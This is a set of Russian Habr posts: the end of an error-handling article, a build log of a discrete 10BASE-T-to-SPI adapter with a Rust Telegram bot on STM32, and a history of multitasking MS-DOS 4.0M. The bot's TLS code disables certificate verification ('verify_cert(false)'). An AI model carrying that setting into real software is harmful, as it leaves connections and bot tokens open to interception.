Ошибаемый тип позволяет самому выбирать место, в котором возврат ошибки будет приводить к остановке. Вам не придётся пробираться через каскады catch/throw, не придётся думать «как я сюда попал».
### Многопоточность
Так как переменная с возвратом ошибки ничем не отличается от обычной переменной, следовательно можно забыть о множестве сопутствующих проблем.
Недостатки
----------
### Нельзя просто взять и добавить поддержку в существующий язык
Точнее, если просто добавить поддержку ошибаемых типов, ими невозможно будет полноценно пользоваться. Нужно, чтобы по-новому ошибку умели возвращать все операторы языка. Нужно, чтобы этим механизмом умела пользоваться стандартная библиотека языка. В противном случае им либо не будут пользоваться, либо оконечный код превратится в кашу, в которой тут обработка ошибок реализована на новом механизме, тут — по-старому, а тут — то так, то этак в зависимости от непонятно чего. Если уж добавлять такую возможность, то либо в новые языки, либо при крупном обновлении существующего.
### Неудобно обрабатывать ошибки централизованно
Этот способ хорош, когда ошибку можно обработать в месте её появления. Когда же нужно ловить все ошибки подряд и записывать в лог — такой способ совершенно неудобен. Хотя, как написано в начале статьи, для этого он и не предназначен. | https://habr.com/ru/post/549294/ | null | ru | null |
# Пишем телеграм-бота на Rust, предварительно спаяв сетевую карту
Всем привет. В прошлом году я писал про то, как я сделал компьютер на дискретных логических микросхемах. После того, как были сделаны процессор, видеокарта, интерфейсы клавиатуры и SD-карты, оставалось два классических модуля, которые есть в обычных компьютерах, но нет в моем: звук и сеть. Как вы уже поняли из названия, начать я решил с сетевой карты. Но сделать с нуля весь сетевой модуль, где будет и синхронизация, и раскодирование манчестерского кода, и фильтрация по MAC-адресу, и проверка контрольной суммы, и сохранение пакетов в память, показалось мне слишком сложным, поэтому я начал с минимума: сделал адаптер, преобразующий сигнал 10BASE-T в SPI и обратно.
Стандарт 10BASE-T
-----------------
10BASE-T использует две дифференциальных пары: одну на прием, вторую на передачу. Сигнал передается манчестерским кодом с частотой 10 МГц: каждые 100 нс должен произойти переход дифференциального сигнала через 0 Вольт. Переход от отрицательной разницы напряжений к положительной означает логическую единицу. Байты передаются младшим битом вперед.
Данные передаются кадрами, которые начинаются с фиксированной последовательности октетов (байт) для синхронизации. Эта последовательность состоит из семи байт 0x55 и восьмого байта 0xD5, то есть, после чередующихся единиц и нулей идут две единицы, после которых идет уже само содержимое кадра.
Структура кадраКроме того, при отсутствии данных на линии должны присутствовать с периодом в 16 мс регулярные положительные импульсы шириной 100 нс, называемые Normal Link Pulse (NLP). По этим импульсам устройство на другой стороне узнает, что с нашей стороны что-то подключено, и начинает передавать нам пакеты.
NLPПриемник
--------
Если посмотреть на манчестерский код, то видно, что сами данные уже присутствуют на линии в явном виде сразу после каждого перехода.
Манчестерский кодЧтобы из этого получить SPI, достаточно "всего лишь" добавить тактовый сигнал, по изменению которого будут защелкиваться данные с линии.
Тактовый сигнал### Генерация тактового сигнала
Когда я искал похожие проекты, я нашел [этот пост](https://www.aholme.co.uk/Ethernet/EthernetRx.htm). Оттуда я позаимствовал входной каскад приемника. Сначала нужно преобразовать дифференциальный сигнал в пятивольтовые логические уровни, для этого используется микросхема 75c1168. Затем выделяется сигнал, положительные всплески которого происходят при изменении логического уровня на входной линии. Это сделано при помощи исключающего ИЛИ между входной линией и ею же, пропущенной через два логических элемента для небольшой задержки.
Позаимствованная схема входного каскадаДальше в исходном посте происходит что-то слишком сложное, поэтому я решил действовать по-другому. Этих двух сигналов (базового и производного) почти достаточно, чтобы сделать SPI: переходы из нуля в единицу уже есть везде, где нужно защелкнуть бит. Но эти переходы встречаются не только в нужных местах, а еще иногда и посередине тактов, поэтому не все так просто.
Моя идея, как сделать настоящий тактовый сигнал, в том, чтобы производный сигнал подать на вход ждущего одновибратора, который выдаст импульс длиной 75 нс. Если в течение этого времени на вход придет еще один всплеск, он будет проигнорирован.
Генерация тактового сигнала для SPIА вот схема одновибратора, который генерирует эти импульсы:
Схема одновибратораВ спокойном состоянии на линии `edge` ноль, поэтому U4C (логическое И) тоже выдает ноль. Транзистор закрыт, а резистор R5 подтягивает входную ножку U2E к 5 Вольтам. Эта логическая единица проходит через оба инвертора и возвращается на второй вход U4C. Когда `edge` становится единицей, на выходе этого элемента тоже возникает высокий уровень, который открывает транзистор. Конденсатор быстро разряжается, и логический уровень на входе и на выходе цепочки инверторов меняется на ноль. Этот ноль вынуждает U4C выдать ноль на выходе, что снова закрывает транзистор. Конденсатор начинает медленно заряжаться, и, пока напряжение на нем не достигнет порогового значения, логический ноль остается на втором входе U4C. Если в это время придут новые импульсы на вход, они не будут пропущены через U4C.
### Определение начала и конца кадра
Чтобы отделить один кадр от другого, нужен еще один сигнал, который будет изменять свое состояние на время приема кадра. Этот сигнал я тоже сделал на одновибраторе. Разница в том, что тут каждый новый поступивший на вход импульс не игнорируется, а продлевает выходной импульс.
Входной каскад и детектор кадраЗдесь одновибратор проще: он образован транзистром Q1 и инвертором U2F. Еще на этой схеме виден переключатель SW1, который позволяет инвертировать входящий сигнал. Это сделано для того, чтобы мой приемник работал с теми устройствами, в которых перепутана полярность выходного сигнала. Да, такие существуют, но друг с другом они работают без проблем благодаря автоматическому определению полярности в коммерческих приемниках.
### Фильтрация лишнего фронта в начале
Согласно документации микросхемы 75c1168, если на дифференциальном входе компаратора близкие значения (то есть, до передачи кадра, когда на линии тихо), то значение на его выходе не определено. И если это неопределенное значение оказывается единицей (как было в моем случае), то в начале кадра возникает лишний фронт сигнала, так как любой кадр начинается с бита 1 (переход из низкого уровня в высокий):
Лишний фронт в началеЭтот лишний фронт нужно проигнирировать, иначе тактовый сигнал будет сдвинут и данные будут получены неправильно. Я это делаю при помощи элементов U5D и U4D и RC-цепочки R6-C10 (см. предыдущую схему). U4D пропускает сигнал только в том случае, если значение на линии только что было нулем или (U5D) если уже был фронт. В моем случае «дефолтное» значение на выходе 75c1168 было всегда единицей, поэтому проверить оба случая не получилось.
Несколько фоток с осциллографаИсходный сигнал (голубой) и производный (желтый)Удаление лишнего первого фронтаСгенерированный тактовый сигнал (голубой) и исходный (желтый)Сгенерированный тактовый сигнал (голубой) и исходный (желтый)Так выглядел первый прототип приемника### Синхронизация
По спецификации кадр должен начинаться с фиксированных 64 бит, где первые 62 – чередующиеся единицы и нули, а последние два – две единицы. Однако оказалось, что некоторые сетевые свитчи иногда немного удлиняют эту последовательность. Поэтому пришлось добавть еще одну схему для синхронизации по двум последовательным единицам:
Схема, осуществляющая синхронизациюЗдесь триггеры U6A, U6B и U7A образуют сдвиговый регистр, в который последовательно вдвигаются принятые биты. А в третий триггер защелкивается единица, как только было вдвинуто две единицы подряд. U4B фильтрует тактовый сигнал, чтобы он начинался не раньше фактического начала данных.
Передатчик
----------
Манчестерский сигнал легко получить из SPI, просто пропустив обе линии через XOR:
Поэтому в первом прототипе передатчик был очень простым:
Я надеялся, что NLP-импульсы можно будет генерировать программно, не усложняя схему. Но, видимо, мне не удалось соблюсти интервалы достаточно точно, потому что мой адаптер не определялся ни одним из сетевых устройств, которые у меня были. И мне пришлось сделать аппаратный генератор этих импульсов:
Генератор NLPС этим генератором один наименее привередливый ноутбук начал воспринимать мой адаптер и посылать ему данные. Остальные устройства, в том числе домашний роутер, все равно не зажигали лампочку на порту. Я предположил, что проблема в том, что мой NLP неправильной формы: из-за того, что выходной усилитель всегда включен и выдает либо положительную, либо отрицательную разницу напряжений, а после него стоит трансформатор внутри разъема, вместо отдельного положительного импульса получается положительный, а затем отрицательный. Это путает детектор полярности в роутере, и он отказывается работать с этим портом.
Поэтому пришлось еще раз переделать передатчик и генерировать сигнал, включающий выходной усилитель.
Схема передатчикаЗдесь сигналы `driver_ena` и `driver_in` идут на вход к 75c1168 (не показан на схеме). U8D делает Манчестерский код из SPI. Q3 и U2C образуют одновибратор, генерирующий сигнал, по которому драйвер активируется во время передачи данных. Этот же сигнал используется для подавления импульсов NLP во время передачи. U8A выступает в качестве буфера, который не дает ёмкости затвора Q3 вносить неоднородность во входной сигнал. Без этого SCK оказывается слегка сдвинут относительно MOSI, что ведет к мусору после XOR.
С таким передатчиком почти все компьютеры и свитчи, которые у меня есть, стали стабильно определять подключение. Только один упертый роутер до сих пор отказывается включать порт. Мне кажется, это связано с тем, что всё-таки NLP недостаточно точный.
Эволюция прототипаПриемник и передатчик с stm32vldiscovery (stm32f100)Приемник, передатчик и плата синхронизации с Nucleo-64 (stm32f401)Да, такая паутина проводов и односторонние самодельные платы работали на 10 МГц.
Обещанный бот на Rust
---------------------
Принимать и передавать данные по SPI на частоте 10 МГц легко может STM32. У меня была отладочная плата с stm32f100, которую я и использовал с первым прототипом. Я настроил DMA для приема и передачи данных, а потом полученный кадр передавал в [smoltcp](https://docs.rs/smoltcp/latest/smoltcp/index.html). Таким образом удалось получить IP-адрес по DHCP, отвечать на пинг и даже сделать веб-сервер с одной страничкой. Но у stm32f100 очень мало памяти: всего 8 кБ. Этого едва хватило на сетевой стек. Поэтому я взял другой контроллер: stm32f401 c 96 кБ ОЗУ на плате Nucleo-64. Под нее я сделал окончательный вариант адаптера, заказав плату на заводе.
Готовый адаптер, установленный на Nucleo-64Ну и к программированию. Чтобы написать телеграм-бота, нужно:
1. TCP/IP стек.
2. TLS.
3. Сериализовать и десериализовать структуры, определенные в [API для ботов](https://core.telegram.org/bots/api).
4. Написать бизнес-логику.
### Стек TCP/IP
Как я уже упоминал, я не пишу свой TCP/IP стек, а использую [smoltcp](https://docs.rs/smoltcp/latest/smoltcp/index.html). На вход этой библиотеке нужно передать объект, реализующий трейт [Device](https://docs.rs/smoltcp/latest/smoltcp/phy/trait.Device.html). В моем случае получилась [довольно простая обертка](https://github.com/imihajlow/ethernet-to-spi/blob/master/stm32eth-f401/src/device.rs) над приемником и передатчиком, в которых уже спрятана вся логика работы с SPI и DMA. Приемник пришлось завернуть в [специальный мьютекс, основанный на критических секциях](https://docs.rs/cortex-m/latest/cortex_m/interrupt/struct.Mutex.html), потому что он используется не только изнутри smoltcp, а еще и из обработчика прерывания: прерывание происходит в конце кадра, и нужно сообщить приемнику, чтобы он остановил прием данных и подключил к DMA новый буфер, готовый для приема следующего кадра.
### TLS
TLS нужно, поскольку общение с сервером Telegram происходит по HTTPS. Я взял библиотеку [embedded-tls](https://docs.rs/embedded-tls/latest/embedded_tls/index.html). Принцип работы у нее простой: ты ей свой сокет, она тебе свой, зашифрованный. Но обычную блокирующую версию embedded-tls использовать нельзя, так как мы не можем просто ждать, пока в сокете появятся данные, а должны постоянно поллить интерфейс (так работает smoltcp). К счастью, у embedded-tls есть асинхронная версия, которая решает эту проблему. К несчастью, пришлось написать асинхронную обертку для синхронных сокетов smoltcp. Обертка содержит в себе сетевой интерфейс, хэндл сокета и указатель на функцию получения текущего времени:
```
type GetTicks = fn() -> i64;
pub struct TcpSocketAdapter<'a> {
iface: &'a RefCell>,
handle: SocketHandle,
pub get\_ticks: GetTicks,
}
```
Этот адаптер должен реализовать необходимые для embdedded-tls асинхронные трейты. На примере Read:
```
pub struct ReadFuture<'socket, 'adapter, 'buf>
where
'socket: 'adapter,
'socket: 'buf,
{
adapter: &'adapter mut TcpSocketAdapter<'socket>,
buf: &'buf mut [u8],
}
impl<'socket> Read for TcpSocketAdapter<'socket> {
fn read<'adapter, 'buf>(
&'adapter mut self,
buf: &'buf mut [u8],
) -> ReadFuture<'socket, 'adapter, 'buf> {
ReadFuture { adapter: self, buf }
}
}
impl<'socket, 'adapter, 'buf> ReadFuture<'socket, 'adapter, 'buf> {
fn recv(&mut self) -> Result {
let mut iface = self.adapter.iface.borrow\_mut();
let sock = iface.get\_socket::(self.adapter.handle);
sock.recv\_slice(self.buf).map\_err(Into::into)
}
}
impl<'socket, 'adapter, 'buf> Future for ReadFuture<'socket, 'adapter, 'buf> {
type Output = Result;
fn poll(
mut self: core::pin::Pin<&mut Self>,
ctx: &mut core::task::Context<'\_>,
) -> Poll<::Output> {
if let Err(e) = self.adapter.poll() {
return Poll::Ready(Err(e));
}
if !self.adapter.is\_active() {
return Poll::Ready(Err(TcpSocketAdapterError::Smoltcp(smoltcp::Error::Dropped)));
}
if self.adapter.can\_recv() {
Poll::Ready((\*self).recv())
} else {
ctx.waker().wake\_by\_ref();
Poll::Pending
}
}
}
```
Здесь `read` – асинхронный метод, возвращающий `ReadFuture`. `ReadFuture` реализует трейт `Future`, имеющий единственный метод `poll`. В этом методе мы вызываем `poll` уже у интерфейса и проверяем, не появились ли в сокете данные.
Теперь можно писать асинхронную функцию, содержащую бизнес-логику и использующую embedded-tls.
```
pub async fn bot_task(
seed: u64,
adapter1: TcpSocketAdapter<'_>,
mut adapter2: TcpSocketAdapter<'_>,
bt_press_consumer: &mut crate::event::BtnPressConsumer,
) -> ! {
// ...
}
```
Осталась одна небольшая проблема: у нас нет асинхронного рантайма вроде [tokio](https://tokio.rs/). Но это не беда. Сделать свой асинхронный рантайм очень просто, особенно если не надо думать об экономии процессорного времени. Просто будем поллить `Future` в цикле:
```
let iface_cell = RefCell::new(iface);
let adapter1 = TcpSocketAdapter::new(&iface_cell, tcp_handle_1, || {
monotonics::now().ticks() as i64
});
let adapter2 = TcpSocketAdapter::new(&iface_cell, tcp_handle_2, || {
monotonics::now().ticks() as i64
});
{
let mut task = bot_task::bot_task(
seed,
adapter1,
adapter2,
ctx.local.bt_press_consumer,
);
let mut task_pin = unsafe { core::pin::Pin::new_unchecked(&mut task) };
let mut ctx = Context::from_waker(noop_waker_ref());
let mut result = Poll::Pending;
while result.is_pending() {
result = task_pin.as_mut().poll(&mut ctx);
}
};
```
### Общение с сервером телеграма
Любое обращение к API состоит из отправки HTTP-запроса. Я использую POST-запросы и отправляю параметры, сериализованные в JSON. Сериализую данные я с помощью [serde](https://docs.rs/serde/latest/serde/).
Для отправки запроса у меня есть следующая асинхронная функция, отправляющая и возвращающая любые сериализуемые объекты:
```
async fn api_post<
'a,
Rng: CryptoRng + RngCore,
Req: serde::Serialize,
Rsp: serde::Deserialize<'a>,
const PARAMS_LEN: usize,
>(
method: &str,
req: Req,
rx_buf: &'a mut [u8],
adapter: &mut TcpSocketAdapter<'_>,
rng: &mut Rng,
) -> Result {
// ...
}
```
Внутри мы подключаемся к серверу по TCP, выбирая случайным образом эфемерный порт:
```
let server_ip = IpAddress::from_str("149.154.167.220").unwrap();
let local_port: u16 = 50000 + (rng.next_u32() % 15535) as u16;
adapter.connect((server_ip, 443), local_port).await?;
```
Далее открываем TLS-соединение, используя буфер на стеке:
```
let mut record_buffer = [0 as u8; 16384];
let config = TlsConfig::new()
.with_server_name("api.telegram.org")
.verify_cert(false);
let mut conn: TlsConnection<_, Aes128GcmSha256> =
TlsConnection::new(adapter, &mut record_buffer);
conn.open::(TlsContext::new(&config, rng))
.await?;
```
Сериализуем параметры и вручную создаем заголовок HTTP-запроса:
```
let params_json: Vec<_, PARAMS_LEN> = serde_json_core::to_vec(&req).unwrap();
let mut request_str: String<256> = String::new();
write!(&mut request_str, "POST /bot{}/{} HTTP/1.1\r\nHost: api.telegram.org\r\nContent-Length: {}\r\nContent-Type: application/json\r\n\r\n",
bot_token::BOT_TOKEN, method, params_json.len()).ok();
```
Теперь можно передать запрос, получить ответ и распарсить его с помощью [httparse](https://docs.rs/httparse/latest/httparse/index.html):
```
conn.write(request_str.as_bytes()).await?;
conn.write(¶ms_json).await?;
let rsp_len = conn.read(rx_buf).await?;
let mut headers = [httparse::EMPTY_HEADER; 24];
let mut rsp = httparse::Response::new(&mut headers);
let data_offset = match rsp.parse(℞_buf[..rsp_len]) {
Ok(httparse::Status::Complete(len)) => len,
Ok(httparse::Status::Partial) => return Err(TgBotError::ResponseOverflow),
Err(e) => return Err(TgBotError::HttpParseError)
};
if rsp.code != Some(200) {
return Err(TgBotError::HttpCodeNotOk);
}
```
Осталось десериализовать данные и закрыть сокет.
### Бизнес-логика бота
Мой бот обладает минимальной функциональностью: он умеет отправлять обратно принятое сообщение и сообщать, если нажата кнопка на плате. Для этого и нужно два сокета в функции `bot_task`: один ждет новых сообщений, второй независимо отправляет их.
В асинхронной `bot_task` нужно ждать одновременно двух событий: нажатия кнопки и получения сообщения от сервера. Для этого я использую [select](https://docs.rs/futures/latest/futures/future/fn.select.html). Пришлось побороться с компилятором, чтобы убедить его следующей итерации цикла использовать старое Future, если оно еще не выполнилось. Кода слишком много, чтобы приводить его тут, поэтому интересующихся приглашаю [в репозиторий](https://github.com/imihajlow/ethernet-to-spi/).
Результат и дальнейшие планы
----------------------------
Бот работает стабильно, но отвечает на сообщение довольно долго, в течение 3-4 секунд. Это происходит из-за большого количества потерянных пакетов: если данных приходит много, обычно кадры идут подряд с минимальным интервалом. Моя программа не успевает так быстро перенастроить DMA на новый буфер, поэтому часть кадров в таком случае теряется. Но TCP справляется с этим и стабильно принимает все данные.
Если TCP-трафика нет, то пинг проходит за 1,6 мс практически без потерь.
Дальше я планирую делать вторую часть сетевого адаптера, которая уже будет подключаться к дискретному компьютеру. Она должна будет фильтровать пакеты по MAC-адресу и контрольной сумме, а также сохранять их в FIFO-буфер. | https://habr.com/ru/post/706178/ | null | ru | null |
# MS-DOS, который мы никогда не видели
Порой встречаются такие артефакты природы, что начинаешь невольно задумывать о разных конспирологических теориях и альтернативной истории. Сегодня я хотел бы поговорить о разных малоизвестных и не очень аспектах операционной системы MS-DOS. Историй про дос на хабре было огромное множество: краткие очерки, подробная хронология, мемуары ностальгирующих, но никто ни разу не отмечал про MS-DOS 4.0 от 1985 года. Я считаю это очень важным звеном развития операционных систем для IBM PC, но удивительно мало информации о таком важном переходном этапе. Это буквально утерянная ветка доса и найти про нее информацию большая проблема. Что бы вы подумали если бы услышали о поддержке в DOS вытесняющей многозадачности, виртуальной памяти, свопа, семафоров и IPC. Фантастика?
Собственно, история началась одним праздным днем, когда я в порыве прокрастинации решил немного почитать интернета вместо работы. Когда-то у меня был ноутбук Sharp PC 6200, основанный на новомодном 80286 процессоре и оснащенный двумя дисками, один HDD на 10 мегабайт, а второй ROM на 4 мегабайта. На ROM драйве были утилиты от производителя и инсталятор DOS. По замыслу разработчиков, если человек приобрел новый винчестер, то он мог его разбить, отформатировать и установить дос прямо встроенными в ноутбук средствами. Вероятно, такое решение было продиктовано отсутствием в ноутбуке дисковода, но для меня оно было весьма оригинальным и свежим. Я уверенно помнил что там был DOS 4.0 и мне захотелось узнать больше о нем, тем более что о нем ходила слава как о неудачной системе, но конкретики я не знал.
Буквально с первого запроса я получил очень много противоречий в выдаче. Расходилось буквально все, начиная от перечня проблем и заканчивая датой выхода. Отдельно следует заметить, что в те дикие времена говорить о релизе доса не приходится. MS DOS до пятой версии не продавался в свободной продаже, Microsoft работала исключительно на производителей оборудования и корпоративный сегмент, поэтому версии тех времен известны либо по купленным образцам техники с предустановленной системой, либо по утекшим версиями из предприятий. Кроме того дос тех времен был практически голым, только несколько совсем важных системных утилит, а из совсем уж прикладного софта можно отметить только ассемблер/дизассемблер/отладчик DEBUG, линейный текстовый редактор EDLIN да BASIC в некоторых версиях. Получив голую систему в ней было практически нечего делать, но это больше веяние тех дней. Но и компьютер обычно покупался с вполне определенной целью и скорее ОС выбиралась под софт, а не наоборот. Особо интересно на этом фоне выглядит CP/M 86, в составе которой в то время был визуальный текстовый редактор, компилятор ассемблера и бейсика. Впрочем, вернемся к нашему DOS. На некоторых сайтах я находил свидетельства о том что DOS 4.0 была принципиально новой операционной системой и в ее ядре были проведены огромные изменения, по самому минимуму: новая файловая система FAT16 которая позволяла использовать винчестер более 32 мегабайт, для этого в ядре появилась VFS позволявшая успешно работать одновременно с двумя разными файловыми системами, вплоть до многозадачности, семафоров и разделяемой памяти. По свидетельствам очевидцев в версии 4.01 систему причесали, многозадачность заблокировали и выпустили работоспособную систему.
Тут я, мягко говоря, очень удивился. Я отчетливо помню что никакой многозадачности и разделяемой памяти не было на ноутбуке а версия была строго равна 4.00. Но почувствовал, что тема явно интересна и мало изучена. Тогда постепенно начала вырисовываться правда. Оказывается существует две версии 4.00, одна из них, всем известная, вышла в 1988 и основана на 3.30, другая вышла в конце 1985, основана на 2.1 с частями от 3.1 и обладает всеми этими магическими свойствами. Для их отличия версию 1985 в народе называют 4.00M.
На этом моменте меня уже совсем перестали интересовать баги обычной четвертой версии и я начал охоту за образами многозадачной версии. Я собрал порядка десяти разных версий MS DOS 4.0 для разных вендоров, среди которых была даже Nokia (вот откуда растут ноги их сотрудничества), попутно обнаружив исходники MS DOS 3.3, но того самого 4.00M не было. И вот образы были обнаружены, да не просто, а прям в [on-line x86 эмуляторе.](http://jsmachines.net/disks/pc/dos/microsoft/4.0M/)
Система состояла из двух дискет, где имелось, собственно, ядро операционной системы и совсем минимальный набор утилит. Никаких документов не содержалось. Никакой помощи. Более того, даже ключ /? не присутствует у всех команд! Но основной функционал видно и так. По правому альту выпадал список задач, в котором можно было создать новый процесс или переключиться между имеющимися. Что, в общем, не особо меня впечатлило. Я даже не был уверен что это аутентичная версия от Microsoft, а не мистификация на слухах в сети. Собственно это мы и будем доказывать. Тем более тот факт, что многозадачность реализуется некой нашлепкой сверху SM.EXE, говорит в пользу этой версии. Вот содержание CONFIG.SYS:
```
BUFFERS=20
FILES=40
SHELL=c:\dos\sm.exe c:\command.com
```
Дальнейшее исследования показало несколько странностей. Во-первых это .PIF файлы которые были на дискетах, что роднило этот DOS с Windows. На второй дискете обнаружился PIFEDIT.EXE и первый долгожданный документ: swapper.doc.
**swapper.doc**
```
; Swapper.doc
;
; SCCSID = @(#)swapper.doc 6.1 85/10/09
Using the Dos 4.00 partition swapper.
1. You must add the swapper, swapper.exe, to the autoexec.bat file. Add
the following lines:
memset default = 5
detach swapper
memset default = 127
This allows the swapper to run in a minimum amount of space.
Note the swapper MUST run in backround.
2. The above configuration will cause the swapper to default to the
root directory of c: drive for locating its swap files. You may
tell the swapper where to place the swap files by specifying
the drive and also the directory. You must always specify the
drive and the swapper will default to the root directory of the
drive. Example:
detach swapper d:
or
detach swapper c:\tmp
3. The swapper will manage the cleanup of its swap files. If the
swap directory is changed after a system crash, there is the
chance that swap files will be left around. These can be removed
by executing the following on the "old" swap directory:
del *.swp
Currently ANY task can be swapped, so use with caution until this is
resolved. If you don't want to have swapping, then remove "detach
swapper" from the autoexec.bat file.
```
Это уже начинает быть по-настоящему интересным. Во-первых видна дата: 9 октября 1985, во-вторых виден размах деятельности. Отдельно стоит отметить, что это только октябрь 1985, а первая версия Windows была выпущена только в ноябре. То есть технология PIF еще не вышла за стены Microsoft. Утилита для управления памятью MEMSET, настоящие фоновые процессы, а не обрезанные TSR, работающие на перехвате векторов прерываний. Виртуальная память и возможность выгрузки сегментов на диск. Я тут же попробовал запустить что-то командой detach и получил ответ в виде PID запущенного процесса. Интересно что если попробовать запустить интерактивную команду в бекграунде, то ее вывод перекрывается с текущей консолью, а она тут же получает символ конца файла ^Z и закрывается. Если запустить FDISK, то портятся настройки терминала. Они не восстанавливаются даже если завершить сеанс этого терминала и открыть заново. То есть терминалы выделяются статически. Интересно что CLS не работает как полагалось, а просто выводит ESC последовательность. То есть терминалы сильно ушли от прямого доступа к памяти и должны управляться через ANSI. ANSI драйвер был, но я его не загружал. Тут я уже сильно засомневался о мистификации с таким размахом. Так что оставим эмулятор и перейдем непосредственно к вскрытию.
Скачав образы, я извлек все содержимое в отдельный каталог. Образы проверил на удаленные файлы но все оказалось чисто. Призрачная надежда найти что-то еще исчезла. Так что приступим. Для начала отметим что структура файлов серьезна изменилась. Например popup.exe: MS-DOS executable, NE (unknown OS) (driver) или queuer.exe: MS-DOS executable, NE for MS-DOS, и даже attrib.exe: MS-DOS executable, NE for MS Windows 3.x. Хотя файл отлично запускается. Так что это скорее всего глюк утилиты file, или просто формат файла еще не полностью стандартизирован.
Файлы содержат заголовок более похожий на PE, чем на то, с чем привыкли работать в дос. Видно оригинальное имя файла и список импортируемых экспортируемых символов называемых тут DOSCALLS, то есть видимо была попытка реализовать что-то подобное разделяемым библиотекам или IPC.
Версия определена таким образом
```
MS-DOS version 4.00
Copyright 1981,82,83,84,85 Microsoft Corp.
$nternal revision 6.7, 85/11/26
```
Интересно заметить что символ $ означает конец строки в досе, то есть сообщение о внутренней ревизии было грубо вырезано из вывода, но осталось в файле. Далее приведем просто список интересных анахронизмов и удивительных вещей.
* Список DOSCALLS: ALLOCSEG, REALLOCSEG, FREESEG, LOCKSEG, UNLOCKSEG, GETSEGSIZE, GETDSHANDLE, CRITENTER, CRITLEAVE, FCRITENTER, FCRITLEAVE, PBLOCK, PRUN, SUBSCREEN, GETPIDS, DOSDISCARDCODE, DOSGETHANDLE, DOSHANDLEJUMP. Видны операции выделения памяти а так же механизмы синхронизации, критические секции и GETPIDS для получения списка процессов. Что интересно я не нашел способа получить список процессов для пользователя. Только, так сказать, список приложений.
* В ядре видны интересные пути, например \SHAREMEM\, \SEM\, а в других файлах \SHAREMEM\SMPGNAME, \SHAREMEM\SMDATA1, \SHAREMEM\PRINTQUE, \SEM\PRINT.INS, \SEM\PRINT.GO которые показывают как работает разделяемая память и семафоры
* С помощью PIFEDIT можно создать для бинарного файла .PIF с описанием необходимых флагов(например запуск в бекграунде и использование 8087) и ограничения памяти. Кроме того эти настройки можно сохранить непосредственно в NE EXE.
* COMMAND.COM умеет загружать не только BAT, COM и EXE, но и PIF.
* Содержащийся link4.exe является линкером исполняемых файлов который умеет NE формат. Интересно что в MS-DOS 4.0 от 1988 используется третья версия линкера, а тут четвертая. Также интересно отметить что линкер является базовым компонентом системы, но нет ни единого компилятора, позволяющего получить .org. Это можно объяснить тем, что для новой версии можно было использовать старые компиляторы, но из-за нового формата — новый линкер.
* Драйвера даже стандартных устройств лежат отдельно, имеют небольшие версии и строки при запуске, которых не было раньше, например — Installing Com Device Driver V1.02 ---. Наверняка это связано с изменением внутреннего представления устройств.
* В файлах содержится достаточно много посторонних строк, о имени исходного файла, которых нет в релизе. Их изредка можно найти в модифицированных OEM версиях, но не в базовых. Тут же их очень много, что дает некоторое представление о структуре дерева исходного кода и датах.
**версии**dos/append.exe:@(#)append.c 1.1 85/10/09
dos/assign.exe:@(#)assign.c 6.1 85/10/23
dos/attrib.exe:@(#)attrib.c 6.1 85/10/24
dos/fdisk.exe:@(#)fdisk.c 1.1 85/10/09
dos/fdisk.exe:@(#)fddata.c 1.1 85/10/09
dos/fdisk.exe:@(#)fdlow.c 1.1 85/10/09
dos/fdisk.exe:@(#)fdsub.c 1.1 85/10/09
dos/join.exe:@(#)joinsbst.c 6.3 85/11/08
dos/join.exe:@(#)sysvar.c 6.2 85/11/08
dos/join.exe:@(#)cds.c 6.2 85/11/08
dos/join.exe:@(#)dpb.c 6.1 85/11/08
dos/label.exe:@(#)label.c 6.1 85/10/24
dos/link4.exe:@(#)newdef.y 6.2 85/10/14
dos/link4.exe:@(#)ms4bnr.c 1.1 85/10/15
dos/mode.exe:@(#)mode.c 6.2 85/10/24
dos/pifedit.exe:@(#)getkey.c 6.1 85/10/25
dos/pifedit.exe:@(#)pifmes.c 6.1 85/10/25
dos/pifedit.exe:@(#)advpscrn.c 6.1 85/10/25
dos/pifedit.exe:@(#)advescrn.c 6.1 85/10/25
dos/pifedit.exe:@(#)usrscrn.c 6.1 85/10/25
dos/pifedit.exe:@(#)rangers.c 6.1 85/10/25
dos/subst.exe:@(#)joinsbst.c 6.3 85/11/08
dos/subst.exe:@(#)sysvar.c 6.2 85/11/08
dos/subst.exe:@(#)cds.c 6.2 85/11/08
dos/subst.exe:@(#)dpb.c 6.1 85/11/08
dos/swapper.doc:@(#)swapper.doc 6.1 85/10/09
ega.sys:@(#)BIOSMSYN6.1
ega.sys:@(#)scrinit.asm 6.3 85/11/14
ibmbio.com:@(#)BIOSMSYN6.1
ibmbio.com:@(#)ibmbio.asm 6.4 85/11/25
ibmbio.com:@(#)scrinit.asm 6.3 85/11/14
ibmbio.com:@(#)ibmprint.asm 6.3 85/11/14
ibmbio.com:@(#)ibmatdsk.asm 6.3 85/11/14
ibmbio.com:@(#)ibmdsk.asm 6.3 85/11/14
ibmbio.com:@(#)sysini.asm 6.4 85/11/14
ibmdos.com:@(#)msinit.asm 6.7 85/11/26
* Из предыдущего пункта видно повальное использование Си в этой версии дос. Большинство утилит для DOS 3.30 были кодированы на ассемблере.
* Часть утилит взята без изменений из других версий, например CHKDSK из 3.0, DISKCOPY из 2.0, и достаточно в старом формате файла.
* Даже в такой внутренней версии практически нет юмора и минимум отладочной информации, все что я смог найти это Abort .Retry .Ignore .Fail .Huh?.. и Terrible error, unknown control packet
* Никаких имен живых людей или чего-то похожего на ник не было. Более того, даже стандартной фразы ©Copyright 1988 Microsoft CorpLicensed Material — Property of Microsoft которая есть во всех файлах релиза не содержиться ни в одном из файлов!
* Совсем уж мозговыносящие строки типа \DEV\NUL и Can't open \dev\con, а каталог с исполняемыми файлами называется BIN. Я уже не раз читал что множество работников Microsoft того времени были поклонниками Unix.
Теперь проверим это чудо на совместимость с программами из MS DOS. Для этого у нас есть vc.com, rkega.com, sdrv.com, zork и captain comic. Тут мы и получаем первое разочарование. Ни волков, ни драйвер русского, ни синтезатор речи не могут быть инсталированы. Zork играет отлично, задачи переключаются. поиграть в CC можно, но после переключения графика ломается. qbasic запускается, но если переключится из него, а потом в него, то система виснет. Вобщем, совместимость есть только с программи которые ведут себя очень тихо, пользуются стандартным API и никогда, никогда не лезут в структуры DOSа напрямую. ТSR отсуствует как класс. Видимо прямой доступ к видеопамяти тоже не привествуется. Собственно возможно именно из-за этого пункта проект не получил будущего.
Конечно, можно еще достать дизассемблер и продолжить более глубокий анализ, но я думаю что пока с технической стороной можно закончить. Зато интересна еще политическая и историческая сторона. В итоге находим [собрание разной информации о дос](https://sites.google.com/site/pcdosretro/) от PC DOS Lead-developer из IBM, среди которой находится [страница о 4.0M](https://sites.google.com/site/pcdosretro/multitaskingdos4):
